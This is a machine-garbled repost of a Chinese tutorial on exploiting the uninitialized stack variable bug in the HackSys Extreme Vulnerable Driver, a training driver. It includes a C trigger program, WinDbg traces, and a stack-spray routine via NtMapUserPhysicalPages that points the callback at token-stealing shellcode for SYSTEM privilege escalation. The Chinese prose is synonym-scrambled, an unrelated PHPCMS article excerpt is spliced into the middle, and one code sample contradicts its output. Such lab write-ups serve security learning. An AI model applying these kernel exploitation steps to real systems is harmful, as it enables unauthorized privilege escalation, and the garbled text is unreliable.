Windows Kernel Exploit (六) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Windows Kernel Exploit (六)

申博_安全防护 申博 172次浏览 已收录 0个评论

0x00:媒介

这是 Windows kernel exploit 系列的第六部份,前一篇我们讲了空指针解援用,这一篇我们讲内核未初始化栈应用,这篇虽然是内核栈的应用,与前面差别的是,这里须要引入一个新应用手段 => 栈放射,须要你对内核栈和用户栈明白的比较深切,看此文章之前你须要有以下预备:

  • Windows 7 x86 sp1虚拟机
  • 设置好windbg等调试东西,发起合营VirtualKD运用
  • HEVD+OSR Loader合营组织破绽环境

传送门:

[+] Windows Kernel Exploit(一) -> UAF

[+] Windows Kernel Exploit(二) -> StackOverflow

[+] Windows Kernel Exploit(三) -> Write-What-Where

[+] Windows Kernel Exploit(四) -> PoolOverflow

[+] Windows Kernel Exploit(五) -> Null-Pointer-Dereference

0x01:破绽道理

未初始化栈变量

我们照样先用IDA剖析HEVD.sys,找到响应的函数TriggerUninitializedStackVariable

int __stdcall TriggerUninitializedStackVariable(void *UserBuffer)
{
  int UserValue; // esi
  _UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; // [esp+10h] [ebp-10Ch]
  CPPEH_RECORD ms_exc; // [esp+104h] [ebp-18h]

  ms_exc.registration.TryLevel = 0;
  ProbeForRead(UserBuffer, 0xF0u, 4u);
  UserValue = *(_DWORD *)UserBuffer;
  DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
  DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
  if ( UserValue == 0xBAD0B0B0 )
  {
    UninitializedStackVariable.Value = 0xBAD0B0B0;
    UninitializedStackVariable.Callback = (void (__stdcall *)())UninitializedStackVariableObjectCallback;
  }
  DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
  DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
  DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
  if ( UninitializedStackVariable.Callback )
    UninitializedStackVariable.Callback();
  return 0;
}

我们细致剖析一下,起首函数将一个值设为0,ms_exc原型以下,它实在就是一个异常处置惩罚机制(预示着下面肯定要出异常),然后我们照样将传入的UserBuffer和 0xBAD0B0B0 比较,假如相称的话就给UninitializedStackVariable函数的一些参数赋值,背面又判断了回调函数的存在性,末了挪用回调函数,也就是说,我们传入的值差别的话能够就存在应用点,所以我们将聚核心移到UninitializedStackVariable函数上

typedef struct CPPEH_RECORD      
{      
    DWORD old_esp;  //ESP     
    DWORD exc_ptr;  //GetExceptionInformation return value     
    DWORD prev_er;  //prev _EXCEPTION_REGISTRATION_RECORD     
    DWORD handler;  //Handler     
    DWORD msEH_ptr; //Scopetable     
    DWORD disabled; //TryLevel     
}CPPEH_RECORD,*PCPPEH_RECORD;

我们来看一下源码里是怎样引见的,不言而喻,一个初始化将UninitializedMemory置为了NULL,而另一个没有,要清晰的是我们现在看的是内核的破绽,与用户形式并不相同,所以审计代码的时刻要异常细致

#ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
    // the callback
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
    //
    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory;

0x02:破绽应用

掌握码

我们照样从掌握码入手,在HackSysExtremeVulnerableDriver.h中定位到响应的定义

#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)

然后我们用python盘算一下掌握码

>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003)
'0x22202f'

我们考证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 视察,组织以下代码

PHPCMS漏洞分析合集(下)

本篇详细分析了 PHPCMS 的部分历史漏洞。其中多是以获取到漏洞点为场景,反向挖掘至漏洞触发入口(假设自己发现了漏洞点,模拟如何找寻整个攻击链及其入口点),旨在提高自身代码审计能力。当中包含一些网络上未公开的触发点,以及补丁对比分析与绕过。 v9.6.1任意文件读取 这个版本的 任意文件读取 漏洞和上个版本的 SQL注入 漏洞原理是类似的,且出问题的文件均在 p

#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

VOID Trigger_shellcode()
{
    DWORD bReturn = 0;
    char buf[4] = { 0 };
    *(PDWORD32)(buf) = 0xBAD0B0B0+1;

    DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    Trigger_shellcode();

    return 0;
}

这里我们打印的信息以下,能够看到对UninitializedStackVariable的一些对象举行了准确的赋值

****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8E99B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8D6A3EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

我们尝试传入差别的值

VOID Trigger_shellcode()
{
    DWORD bReturn = 0;
    char buf[4] = { 0 };
    *(PDWORD32)(buf) = 0xBAD0B0B0+1;

    DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

运转结果以下,由于有异常处置惩罚机制,所以这里并不会蓝屏

0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x97E789C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

我们在HEVD!TriggerUninitializedStackVariable+0x8c比较处下断点运转检察

1: kd> u 8D6A3F86
HEVD!TriggerUninitializedStackVariable+0x8c [c:\hacksysextremevulnerabledriver\driver\uninitializedstackvariable.c @ 119]:
8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi
8d6a3f8c 7429            je      HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f8e ff95f8feffff    call    dword ptr [ebp-108h]
8d6a3f94 eb21            jmp     HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f96 8b45ec          mov     eax,dword ptr [ebp-14h]
8d6a3f99 8b00            mov     eax,dword ptr [eax]
8d6a3f9b 8b00            mov     eax,dword ptr [eax]
8d6a3f9d 8945e4          mov     dword ptr [ebp-1Ch],eax
1: kd> ba e1 8D6A3F86

我们断下来之后用dps esp能够看到我们的 Value 和 Callback ,单步频频视察,能够发明确切已被SEH异常处置惩罚所接办

****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x8FB049C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
HEVD!TriggerUninitializedStackVariable+0x8c:
8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi
3: kd> dps esp
8fb049b8  02da71d7
8fb049bc  88b88460
8fb049c0  88b884d0
8fb049c4  8d6a4ca4 HEVD! ?? ::NNGAKEGL::`string'
8fb049c8  00000002 => UninitializedStackVariable.Value
8fb049cc  00000000 => UninitializedStackVariable.Callback
8fb049d0  8684e1b8
8fb049d4  00000002
8fb049d8  8fb049e8
8fb049dc  84218ba9 hal!KfLowerIrql+0x61
8fb049e0  00000000
8fb049e4  00000000
8fb049e8  8fb04a20
8fb049ec  83e7f68b nt!KiSwapThread+0x254
8fb049f0  8684e1b8
8fb049f4  83f2ff08 nt!KiInitialPCR+0x3308
8fb049f8  83f2cd20 nt!KiInitialPCR+0x120
8fb049fc  00000001
8fb04a00  00000000
8fb04a04  8684e1b8
8fb04a08  8684e1b8
8fb04a0c  00000f8e
8fb04a10  c0802000
8fb04a14  8fb04a40
8fb04a18  83e66654 nt!MiUpdateWsle+0x231
8fb04a1c  7606a001
8fb04a20  00000322
8fb04a24  00000129
8fb04a28  00000129
8fb04a2c  86c08220
8fb04a30  00000000
8fb04a34  8670f1b8
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
8d6a3fb7 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
8d6a3fbe 8bc7            mov     eax,edi
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
8d6a3fc0 e894c0ffff      call    HEVD!__SEH_epilog4 (8d6a0059)

栈放射(Stack Spray)

由于顺序中会挪用回调函数,所以我们愿望的是把回调函数设置为我们shellcode的位置,实在假如这里不对回调函数举行考证是不是为0,我们能够斟酌直接在0页组织我们的shellcode,然则这里对回调函数举行了限定,就须要换一种思绪

#endif

        //
        // Call the callback function
        //

        if (UninitializedMemory.Callback)
        {
            UninitializedMemory.Callback();
        }

我们须要把回调函数的位置修改成不为0的地点,而且地点指向的是我们的shellcode,这里就须要用到一个新的要领,栈放射,j00ru师傅的文章很细致的讲解了这个机制,我简朴解释一下,我们始终是在用户形式滋扰内核形式,起首你须要相识内核栈和用户栈的构造,然后相识下面这个函数是怎样举行栈放射的,函数原型以下

#define COPY_STACK_SIZE             1024

NTSTATUS
 NtMapUserPhysicalPages (
   __in PVOID VirtualAddress,
   __in ULONG_PTR NumberOfPages,
   __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
 )
(...)
  ULONG_PTR StackArray[COPY_STACK_SIZE];

由于COPY_STACK_SIZE的大小是1024,函数的栈最大也就 4096byte ,所以我们只须要传 1024 * 4 = 4096 的大小就能够占满一页内存了,固然我们传的都是我们的shellcode的位置

PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);

printf("[+]Spray address is 0x%p\n", StackSpray);

for (int i = 0; i < 1024; i++)
{
    *(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}

NtMapUserPhysicalPages(NULL, 0x400, StackSpray);

我们来看看我们完全的exp的运转状况,我们照样在适才的处所下断点,能够清晰的看到我们的shellcode已被喷上去了

0: kd> ba e1 8D6A3F86
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x92E2F9C8
[+] UninitializedStackVariable.Value: 0x00931040
[+] UninitializedStackVariable.Callback: 0x00931040
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi
2: kd> dd 0x92E2F9C8 // 检察函数参数
92e2f9c8  00931040 00931040 00931040 00931040
92e2f9d8  00931040 00931040 00931040 00931040
92e2f9e8  00931040 00931040 00931040 00931040
92e2f9f8  00931040 00931040 00931040 00931040
92e2fa08  00931040 00931040 c0802000 92e2fa40
92e2fa18  83e66654 7606a001 00000322 000000da
92e2fa28  000000da 866cc220 00000000 00931040
92e2fa38  00000005 c0802d08 92e2fa74 83e656cc
2: kd> u 00931040 // 检察放射的是不是是shellcode
00931040 53              push    ebx
00931041 56              push    esi
00931042 57              push    edi
00931043 60              pushad
00931044 64a124010000    mov     eax,dword ptr fs:[00000124h]
0093104a 8b4050          mov     eax,dword ptr [eax+50h]
0093104d 8bc8            mov     ecx,eax
0093104f ba04000000      mov     edx,4

末了我们整合一下代码就能够提权了,总结一下步骤

  • 初始化句柄等构造
  • 将我们预备放射的栈用Shellcode填满
  • 挪用NtMapUserPhysicalPages举行放射
  • 挪用TriggerUninitializedStackVariable函数触发破绽
  • 挪用cmd提权

提权结果以下,细致的代码参考这里

Windows Kernel Exploit (六)

0x03:跋文

这个破绽应用的状况比较刻薄,然则挺有意义的,也是第一次见栈放射,照样从j00ru的文章中学到了很多新颖的东西,多看看外洋的文档本身的英语水平也逐步好起来了,视野也更宽广了


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Windows Kernel Exploit (六)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址